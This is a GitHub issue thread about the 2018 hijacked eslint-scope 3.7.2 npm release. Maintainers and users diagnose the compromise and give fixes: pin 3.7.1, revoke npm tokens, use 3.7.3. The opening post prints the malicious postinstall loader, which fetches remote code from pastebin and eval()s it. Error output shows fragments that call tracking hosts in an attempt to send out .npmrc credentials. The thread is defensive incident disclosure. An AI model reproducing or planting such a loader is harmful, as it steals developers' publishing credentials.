Skip to content
This repository was archived by the owner on Jun 23, 2025. It is now read-only.
This repository was archived by the owner on Jun 23, 2025. It is now read-only.

Virus in eslint-scope? #39

Closed
Closed

Description

@pronebird

Updated blog post: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes

Update from the maintainers

Incident status report from npm

Please follow the comment by @platinumazure that gives a little insight into what happened:
#39 (comment)

It also appears that the same code was published in eslint-config-eslint@5.0.2, which has also since been unpublished. See eslint/eslint#10600 for more information.

In the meantime

  1. Pin the version of eslint-scope to 3.7.1, one way is to add the resolutions to your package.json
  "resolutions": {
    "eslint-scope": "3.7.1"
  }

Verify the dependency version with yarn list eslint-scope. It should print out eslint-scope@3.7.1

  1. Use package-lock.json or yarn.lock and have it in your repo if possible. Do not upgrade to 3.7.2 even if yarn outdated shows that there is a new version available.

  2. Revoke your NPM token as suggested in the comment below Virus in eslint-scope? #39 (comment). You can do the same by logging in to https://www.npmjs.com/, selecting the "tokens" menu from the account dropdown and removing all tokens listed on the page. Make sure to recreate the relevant tokens if you hook your NPM to external services.

The issue

I don't know what the hell this is but it looks like a virus to me:

[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments: 
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

SyntaxError: Unexpected end of input
    at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
    at emitOne (events.js:116:13)
    at IncomingMessage.emit (events.js:211:7)
    at IncomingMessage.Readable.read (_stream_readable.js:475:10)
    at flow (_stream_readable.js:846:34)
    at resume_ (_stream_readable.js:828:3)
    at _combinedTickCallback (internal/process/next_tick.js:138:11)

The contents of a suspicious file:

try{
    var https=require('https');
    https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
    r.setEncoding('utf8');
    r.on('data',(c)=>{
    eval(c);
    });
    r.on('error',()=>{});
    
    }).on('error',()=>{});
    }catch(e){}

The URL it attempts to load is http://pastebin.com/raw/XLeVP82h

Also it attempts to send my .npmrc somewhere.

This is version 3.7.2 that's been published an hour ago.

Activity

  1. buhichan commented on Jul 12, 2018

    @buhichan

    +1
    what the heck is going on

  2. platinumazure commented on Jul 12, 2018

    @platinumazure
    Member

    Thanks for the issue!

    Latest should be 4.0.0. I highly recommend installing 4.0.0 directly while we figure out what's going on and unpublish 3.7.2 (and tag 4.0.0 as latest again).

    I'm checking our Jenkins server logs, but as far as I know, none of us on the ESLint team would have published this. It's possible some npm credentials got compromised.

    Thanks again for bringing this to our attention.

  3. pronebird commented on Jul 12, 2018

    @pronebird
    Author

    Yeah it's likely that NPM credentials has been stolen. Also, I suggested to the NPM team to double check with Github repository to make sure that no untagged releases happen. This should at least limit a damage in cases when only NPM account has been stolen.

  4. platinumazure commented on Jul 12, 2018

    @platinumazure
    Member

    I've confirmed that our Jenkins server did not do this. So at least that is probably not compromised.

  5. pronebird commented on Jul 12, 2018

    @pronebird
    Author

    babel-eslint depends on ~3.7.1 which immediately makes it pull the vulnerable 3.7.2

  6. platinumazure commented on Jul 12, 2018

    @platinumazure
    Member

    It might be a good idea to pin the dependency while we work on unpublishing. We have no plans to publish any 3.7.x so you could safely pin at 3.7.1.

  7. pronebird commented on Jul 12, 2018

    @pronebird
    Author

    I pinged babel-eslint team to update to 4.0.0 or alternatively they can fix the version in package.json. Meanwhile I've pinned the version to 3.7.1 in my package.json.

    "resolutions": {
      "eslint-scope": "3.7.1"
    }
    

    The issue is that we have a boilerplate repo without a .lock file. We opt-in for not having it to prevent deps going stale. So the malicious release is being pulled by default, but resolutions seem to do the trick.

  8. platinumazure commented on Jul 12, 2018

    @platinumazure
    Member

    I've sent a message to npm's support asking for help in identifying what happened.

    I do not have publish access to eslint-scope so I can't unpublish it directly. I've pinged one of our TSC members who does have that access. So hopefully we'll be able to unpublish as soon as he gets the message and has time to do it.

    In the meanwhile, in case it wasn't clear from earlier in this thread: do not use eslint-scope@3.7.2 as it is compromised. Use 3.7.1 or 4.0.0 instead. Thanks!

  9. aSapien commented on Jul 12, 2018

    @aSapien

    Is it possible to publish a clean 3.7.3 version to avoid infecting projects that are configured to auto-bump minor semvers?

  10. yvele commented on Jul 12, 2018

    @yvele

    Hey I have a strange behaviour with eslint-scope@3.7.2 postinstall, I cannot install it

    > eslint-scope@3.7.2 postinstall /Users/yves/runtime/node_modules/babel-eslint/node_modules/eslint-scope
    > node ./lib/build.js
    
    undefined:25
        https1.get({hostname:'c.statcounter.com',path:'/11760461/0/7b5b9d71/1/',method:'GET',headers:{Referer:'http://2.b/'+conte
                                                                                                                            ^^^^^
    
    SyntaxError: Unexpected end of input
    
  11. platinumazure commented on Jul 12, 2018

    @platinumazure
    Member

    @aSapien I think that's a reasonable suggestion. However, as I don't have publish access, I can neither publish 3.7.3 nor unpublish 3.7.2. Hopefully the folks who do have access will be online soonish and can work on this.

    Thanks for your patience!

  12. platinumazure commented on Jul 12, 2018

    @platinumazure
    Member

    @yvele As noted elsewhere in the thread, 3.7.2 is compromised. Do not use it. Please install 3.7.1 instead. Thanks!

  13. yvele commented on Jul 12, 2018

    @yvele

    @platinumazure yep I've seen that but I'm using babel-eslint... an issue is already open babel/babel-eslint#656

  14. platinumazure commented on Jul 12, 2018

    @platinumazure
    Member

    @yvele Once we unpublish, you should be able to do a fresh reinstall (delete node_modules and run npm install) and get a safe version. In the meantime you could also use npm install eslint-scope@3.7.1 to force that version to be used by babel-eslint. Hope this helps.

  15. 78 remaining items

  16. ilyavolodin commented on Jul 12, 2018

    @ilyavolodin
    Member

    Update: We went through every package under ESLint organization and verified that the only package that was published with this issue was eslint-scope.

    Edit: It looks like eslint-config-eslint was also compromised, but has since been unpublished as well.

  17. kaicataldo commented on Jul 12, 2018

    @kaicataldo
    Member

    Sorry - I didn't mean to close this!

  18. kaicataldo commented on Jul 12, 2018

    @kaicataldo
    Member

    It looks like eslint-config-eslint was also compromised, but has since been unpublished as well.

  19. aladdin-add commented on Jul 12, 2018

    @aladdin-add
    Member

    Scanning script to find infected @3.7.2 installations: https://gist.github.com/brownstein/8aaade4953807f512d416da0c6a5a5f6

    (refs: #40 thanks @brownstein)

  20. kaicataldo commented on Jul 12, 2018

    @kaicataldo
    Member
  21. added
    securityRelates to security
    and removed on Jul 12, 2018
  22. platinumazure commented on Jul 12, 2018

    @platinumazure
    Member

    We're working on publishing eslint-scope@3.7.3 and eslint-config-eslint@5.0.3. Apologies for the confusion as earlier I had suggested we might not publish new patch versions.

    Edit: Decision was made not to publish a new eslint-config-eslint due to much reduced usage and much smaller time vector.

  23. not-an-aardvark commented on Jul 12, 2018

    @not-an-aardvark
    Member

    eslint-scope@3.7.3 has been published to npm. Aside from the version number, this is exactly the same package as eslint-scope@3.7.1. This should allow users with an npm proxy who already have 3.7.2 cached to avoid downloading the malicious version when specifying a version range like ~3.7.

  24. kaicataldo commented on Jul 12, 2018

    @kaicataldo
    Member

    This has now been resolved. Please find a write up of the incident on our blog.

    The ESLint team apologizes for allowing this to happen. Thanks to the community for making us aware of the issue so quickly and for providing information.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    securityRelates to security

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions